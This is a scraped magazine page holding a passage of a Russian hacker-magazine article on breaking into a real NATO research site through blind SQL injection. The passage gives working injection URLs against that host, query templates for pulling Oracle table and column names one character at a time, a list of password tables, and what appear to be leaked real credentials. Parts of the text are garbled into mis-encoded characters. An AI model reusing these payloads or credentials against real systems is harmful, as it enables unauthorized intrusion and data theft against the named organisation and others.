12.07.2015 Views

img - Xakep Online

img - Xakep Online

img - Xakep Online

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Мы внутри и можем посмотреть на Военную Тайну!Главная страница сайта НАТО с Главной ВоеннойТайной внутрирушил (правильное понимание причин появление уязвимости — вотзалог возможности разрушения стереотипов). Проблемы с возможностьювозникновения SQL-инъекции на самом деле заложеныне столько в базе данных, сколько в программе-оболочке, котораяреализует взаимодействие с пользователем. Для проверки достаточноведь использовать несколько простых приемов. Например, добавлятьк параметрам строку вида «+or+chr(77)=chr(77)». Использование функцииchr() позволяет избежать указания одинарных кавычек, которыенещадно фильтруются.Именно это является причиной возникновения возможности проведения«слепой» инъекции на сайте RTO. Вот, например, запрос с такойинъекцией:ìåòîä «íàó÷íîãî òûêà»:ðàáîòàåì ñ ÑÓÁÄ Oracle:http://www.rto.nato.int/Detail.asp?ID=-1+or+chr(77)=chr(77)http://www.rto.nato.int/Detail.asp?ID=-1+or+1=(SELECT+1+FROM+DUAL)Собственно, с помощью этой уязвимости мы и узнали, что сзади(backend) установлена СУБД Oracle, а не MySQL или SQLite (кстати,в ней тоже возможно провести SQL-инъекцию — мы писали об этомв майском номере). Видимо, НАТОвские программисты слишком положилисьна безопасность Oracle и забыли элементарные правилабезопасного секса. А зря! Одна только книжка про оракловский аудитот Ильи Медведовского и его сотрудников чего только стоит.Слепая инъекция, конечно, потребовала от нас некоторых усилийпо автоматизации процесса. Благо, бабушкина подшивка журнала«Хакер» за прошлый год помогла — в ней оказалось все, что нужнодля создания скриптов на Perl. Мы даже смогли быстро составитьдва запроса — один определяет длину строки, которую мы хотим«вытащить» из базы данных, а второй вытаскивает один символ изэтой строки:а) запрос для получения длины строки:http://www.rto.nato.int/Detail.asp?ID=-1+OR+(select+length(table_name)+from+user_tables+where+'%ÇÄÅÑÜ ÓÑËÎÂÈÅXÀÊÅÐ 08 /139/ 10б) запрос для получения строки (здесь конкретно — имени столбца вуказанной таблице):ÇÀÏÐÎÑÀ%'+AND+rownum=1)=%ÇÄÅÑÜ ÄËÈÍÀ, ÊÎÒÎÐÓÞ ÏÐÎÂÅ-ÐßÅÌ%http://www.rto.nato.int/Detail.asp?ID=-1+OR+(select+substr(column_name,%ÇÄÅÑÜ ÏÎÇÈÖÈß ÑÈÌÂÎËÀ ÈÌÅÍÈ ÑÒÎËÁÖÀ%,1)+from+all_tab_columns+where+table_name='.%ÇÄÅÑÜ ÈÌß ÒÀÁËÈÖÛ%.'+AND+'%ÇÄÅÑÜ ÓÑËÎÂÈÅ ÇÀÏÐÎÑÀ%'+AND+rownum=1)=chr(%ÍÎÌÅÐ ÑÈÌÂÎËÀ%)Для того, чтобы получить только первую строку с данными из всегозапроса, мы воспользовались ключевым словом rownum диалектаSQL-базы данных Oracle, с помощью которого можно определятьусловие над уже собранным набором строк с выходными данными.Использование всевозможных технологий ускорения «слепого» перебораоставляем для тренировки :). Есть, правда, один очень большойминус — это количество таблиц (в том числе служебных) в базахOracle. Вслепую вытаскивать всю схему таблиц — титанический труд,поэтому мы интересовались только таблицами, в названии которыхесть магическое слово «PASSWORD». На рисунке приведена схема cнаиболее интересными таблицами и столбцами. На диске к журналу тынайдешь скрипты, которыми можно пополнить эту схему :).Среди довольно большого набора таблиц наиболее интереснымикажутся вот эти:RTO_MEMBERS.MEMBER_PASSWORDRTO_PANEL.PANEL_PASSWORDUSER_DB_LINKS.PASSWORDCONTACTLOGIN.CLO_PASSWORDAPPLICATIONLOGIN.PASSWORDCONTACT.CLO_PASSWORDЗначения данных, которые в них хранятся, впечатляют не меньше, чемоперация «Анаконда» коалиционных войск в Афганистане.USERNAME: RTAMASTERPASSWORD: droopyDB_LINK: TEST.RTA.INTUSERNAME: WISE053

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!